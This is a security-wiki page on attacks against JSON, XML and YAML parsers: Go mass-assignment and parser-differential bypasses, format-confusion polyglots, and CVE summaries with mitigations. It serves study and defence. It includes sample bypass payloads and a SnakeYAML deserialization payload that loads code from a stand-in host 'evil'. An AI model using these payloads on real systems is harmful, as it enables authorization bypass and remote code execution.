json-xml-yaml-hacking.md (11811B)
1 --- 2 title: "JSON, XML, and YAML Hacking and Issues" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/json-xml-yaml-hacking.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/json-xml-yaml-hacking.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # JSON, XML, and YAML Hacking and Issues 14 15 ## Go JSON Decoder 16 17 The following Go parser behaviors can create security problems when different components interpret the same input differently. They were analyzed in [this Trail of Bits post](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/), and the Go documentation explicitly records several `encoding/json` interoperability behaviors.<sup>[[1]](#references)[[4]](#references)</sup> 18 19 Parser differentials and permissive application-level validation can be abused to **bypass authorization**, **escalate privileges**, or **exfiltrate sensitive data**. The risky behavior is often the composition of parsers and trust decisions, rather than memory-unsafe parsing by itself.<sup>[[1]](#references)</sup> 20 21 22 ### (Un)Marshaling Unexpected Data 23 24 The goal is to find exported struct fields that an application did not intend an attacker to set, such as `IsAdmin` or `Password`.<sup>[[1]](#references)[[4]](#references)</sup> 25 26 - Example Struct: 27 ```go 28 type User struct { 29 Username string `json:"username,omitempty"` 30 Password string `json:"password,omitempty"` 31 IsAdmin bool `json:"-"` 32 } 33 ``` 34 35 - Common Vulnerabilities 36 37 1. **Missing tag** (no tag = field is still parsed by default): 38 ```go 39 type User struct { 40 Username string 41 } 42 ``` 43 44 Payload: 45 ```json 46 {"Username": "admin"} 47 ``` 48 49 2. **Incorrect use of `-`**: 50 ```go 51 type User struct { 52 IsAdmin bool `json:"-,omitempty"` // ❌ wrong 53 } 54 ``` 55 56 Payload: 57 ```json 58 {"-": true} 59 ``` 60 61 ✔️ Proper way to block field from being (un)marshaled: 62 ```go 63 type User struct { 64 IsAdmin bool `json:"-"` 65 } 66 ``` 67 68 69 ### Parser Differentials 70 71 The goal is to bypass authorization by exploiting how different parsers interpret the same payload. Real cases include CouchDB's duplicate-key administrator bypass, a Zoom XMPP/XML parser differential, and GitLab's 2025 SAML parser-confusion bypass.<sup>[[5]](#references)[[6]](#references)[[7]](#references)</sup> 72 73 74 **1. Duplicate Fields (legacy `encoding/json` v1 semantics):** 75 Go's `encoding/json` processes duplicate members in order; later scalar values replace earlier ones, while maps and structs can merge values.<sup>[[4]](#references)</sup> 76 77 ```go 78 json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) 79 fmt.Println(req.Action) // AdminAction 80 ``` 81 82 Other parsers or configurations may reject duplicates, preserve the first value, or also preserve the last value. This becomes exploitable when security checks and business logic disagree about the same object.<sup>[[1]](#references)[[4]](#references)</sup> 83 84 **2. Case-insensitive matching (legacy `encoding/json` v1 semantics):** 85 Go's legacy decoder matches JSON names to struct fields case-insensitively: 86 ```go 87 json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) 88 // matches `Action` field 89 ``` 90 91 Unicode simple-fold equivalents can also match. For example, the long-s character can collide with ASCII `s`, and the Kelvin sign can collide with ASCII `K` in field names:<sup>[[1]](#references)</sup> 92 ```go 93 json.Unmarshal([]byte(`{"Uſername":"admin"}`), &user) 94 // may match the exported field Username 95 96 json.Unmarshal([]byte(`{"Key":"value"}`), &record) 97 // may match the exported field Key 98 ``` 99 100 **3. Cross-service mismatch:** 101 Imagine: 102 - Proxy written in Go 103 - AuthZ service written in Python 104 105 Attacker sends: 106 ```json 107 { 108 "action": "UserAction", 109 "AcTiOn": "AdminAction" 110 } 111 ``` 112 113 - Python sees `UserAction`, allows it 114 - Go sees `AdminAction`, executes it 115 116 117 ### Data Format Confusion (Polyglots) 118 119 The goal is to exploit systems that mix formats (JSON/XML/YAML) or fail open on parser errors. In **CVE-2020-16250**, Vault's AWS authentication trusted identity data obtained through a content-type/parser confusion involving AWS STS responses.<sup>[[8]](#references)</sup> 120 121 Attacker controls: 122 - The `Accept: application/json` header 123 - Partial control of JSON body 124 125 Go’s XML parser parsed it **anyway** and trusted the injected identity. 126 127 - Crafted payload: 128 ```json 129 { 130 "action": "Action_1", 131 "AcTiOn": "Action_2", 132 "ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>" 133 } 134 ``` 135 136 Result: 137 - **Go JSON** parser: `Action_2` (case-insensitive + last wins) 138 - **YAML** parser: `Action_1` (case-sensitive) 139 - **XML** parser: parses `"Action_3"` inside the string 140 141 ### Go 1.27: strict `encoding/json/v2` defaults 142 143 Go 1.27 made `encoding/json/v2` and `encoding/json/jsontext` standard packages. Unlike the legacy v1 API, v2 rejects **duplicate object names** and **invalid UTF-8** by default; the existing `encoding/json` API remains compatible with v1 behavior even though its implementation is backed by v2. Therefore, fingerprint the API and options actually used by each service instead of assuming every Go 1.27 binary is strict.<sup>[[4]](#references)[[12]](#references)</sup> 144 145 A duplicate-name probe that v2 rejects by default is:<sup>[[12]](#references)</sup> 146 147 ```go 148 import json "encoding/json/v2" 149 150 err := json.Unmarshal([]byte(`{"role":"user","role":"admin"}`), &dst) 151 // err != nil 152 ``` 153 154 This is also a migration hazard: a gateway using v2 defaults may reject an input that a downstream service using v1 would accept, while compatibility options can deliberately restore permissive behavior. Test duplicate names, malformed UTF-8, case variants, and unknown members at **every trust boundary**.<sup>[[4]](#references)[[12]](#references)</sup> 155 156 --- 157 158 ## Differential Fuzzing of Parser Chains 159 160 [Crossy](https://github.com/j-moeller/crossy) is the research artifact for cross-language, coverage-guided differential testing of JSON parsers. It builds parser harnesses in isolated containers, feeds the same corpus to several implementations, and reports semantic disagreements instead of looking only for crashes. This is useful when a proxy, policy engine, signature verifier, and backend do not use the same parser.<sup>[[11]](#references)</sup> 161 162 ```bash 163 git clone https://github.com/j-moeller/crossy 164 cd crossy 165 make 166 make run 167 # Inside the runner container: 168 ./build/crossy configs/json/* -o ./output/ -- corpus \ 169 -detect_leaks=0 -artifact_prefix=./output/ 170 ``` 171 172 Prioritize seeds that exercise duplicate or case-colliding names, escaped and non-ASCII keys, invalid UTF-8/lone surrogates, large or exponent-form numbers, deeply nested values, and leading/trailing data. Minimize each disagreement, then replay the exact raw bytes through the real gateway and backend: reserialization before the second parser may erase the differential.<sup>[[11]](#references)</sup> 173 174 --- 175 176 ## Notable Parser Vulnerabilities (2023-2025) 177 178 > The following publicly-exploitable issues show that insecure parsing is a multi-language problem — not just a Go problem. 179 180 ### SnakeYAML Deserialization RCE (CVE-2022-1471) 181 182 * Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.).<sup>[[2]](#references)</sup> 183 * Root cause: unsafe construction can instantiate **arbitrary Java classes**, allowing a suitable classpath or remotely supplied service-provider gadget to culminate in code execution. 184 * Example global-tag payload (the remote URL must provide a compatible `ScriptEngine` provider for code execution): 185 ```yaml 186 !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] 187 ``` 188 * Fix / Mitigation: 189 1. **Upgrade to ≥2.0** (uses `SafeLoader` by default). 190 2. On older versions, explicitly use `new Yaml(new SafeConstructor())`. 191 192 ### libyaml Double-Free (CVE-2024-35325) 193 194 * Affects: `libyaml` ≤0.2.5 (C library leveraged by many language bindings). 195 * Issue: Calling `yaml_event_delete()` twice leads to a double-free that attackers can turn into DoS or, in some scenarios, heap exploitation. 196 * Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively.<sup>[[3]](#references)</sup> 197 198 ### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) 199 200 * Affects: Tencent **RapidJSON** before commit `8269bc2` (<1.1.0-patch-22). 201 * Bug: integer underflow/overflow in `GenericReader::ParseNumber()` can be triggered by crafted numeric input. The published records describe elevation-of-privilege impact in an application that opens a crafted file; do not generalize that impact to every program using RapidJSON.<sup>[[9]](#references)[[10]](#references)</sup> 202 203 --- 204 205 ### 🔐 Mitigations (Updated) 206 207 | Risk | Fix / Recommendation | 208 |-------------------------------------|------------------------------------------------------------| 209 | Unknown fields (JSON) | `decoder.DisallowUnknownFields()` | 210 | Duplicate fields (JSON) | Prefer `encoding/json/v2` defaults on Go 1.27+; otherwise pre-scan/reject duplicates (`DisallowUnknownFields` does not reject them) | 211 | Case-insensitive match (Go v1) | Migrate security boundaries to `encoding/json/v2`, or validate exact keys before v1 unmarshaling | 212 | XML shape / format confusion | Keep `encoding/xml.Decoder.Strict` enabled, reject unexpected directives/tokens, validate the root/schema, and enforce the expected content type | 213 | YAML unknown keys | `yaml.KnownFields(true)` | 214 | **Unsafe YAML deserialization** | Use SafeConstructor / upgrade to SnakeYAML ≥2.0 | 215 | libyaml ≤0.2.5 double-free | Upgrade to **0.2.6** or distro-patched release | 216 | RapidJSON <patched commit | Compile against latest RapidJSON (≥July 2024) | 217 218 ## See also 219 220 [Mass Assignment Cwe 915](/hacktricks/pentesting-web/mass-assignment-cwe-915) 221 222 See [HTTP parameter pollution and JSON key-collision payloads](/hacktricks/pentesting-web/parameter-pollution#json-injection) and [XXE/XEE](/hacktricks/pentesting-web/xxe-xee-xml-external-entity) for their format-specific attack payloads. 223 224 225 ## References 226 227 - [1] [Trail of Bits – Unexpected security footguns in Go's parsers](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) 228 - [2] [Baeldung – Resolving CVE-2022-1471 With SnakeYAML 2.0](https://www.baeldung.com/spring-boot-snakeyaml-2-0-cve-2022-1471-issue) 229 - [3] [Ubuntu Security Tracker – CVE-2024-35325 (libyaml)](https://ubuntu.com/security/CVE-2024-35325) 230 - [4] [Go documentation - `encoding/json` security considerations](https://pkg.go.dev/encoding/json#hdr-Security_Considerations) 231 - [5] [Apache CouchDB security advisory - CVE-2017-12635](https://docs.couchdb.org/en/stable/cve/2017-12635.html) 232 - [6] [Google Project Zero - Zooming in on Zero-click Exploits](https://googleprojectzero.blogspot.com/2022/01/zooming-in-on-zero-click-exploits.html) 233 - [7] [GitLab security release - SAML authentication bypass](https://about.gitlab.com/releases/2025/05/14/patch-release-gitlab-18-0-1-17-11-3-17-10-7/) 234 - [8] [HashiCorp security advisory - CVE-2020-16250](https://discuss.hashicorp.com/t/hcsec-2020-16-vault-s-aws-auth-method-allows-authentication-bypass/18101) 235 - [9] [CVE record - CVE-2024-38517](https://www.cve.org/CVERecord?id=CVE-2024-38517) 236 - [10] [CVE record - CVE-2024-39684](https://www.cve.org/CVERecord?id=CVE-2024-39684) 237 - [11] [Crossy - Cross-language differential testing of JSON parsers](https://github.com/j-moeller/crossy) 238 - [12] [Go 1.27 Release Notes - `encoding/json/v2`](https://go.dev/doc/go1.27)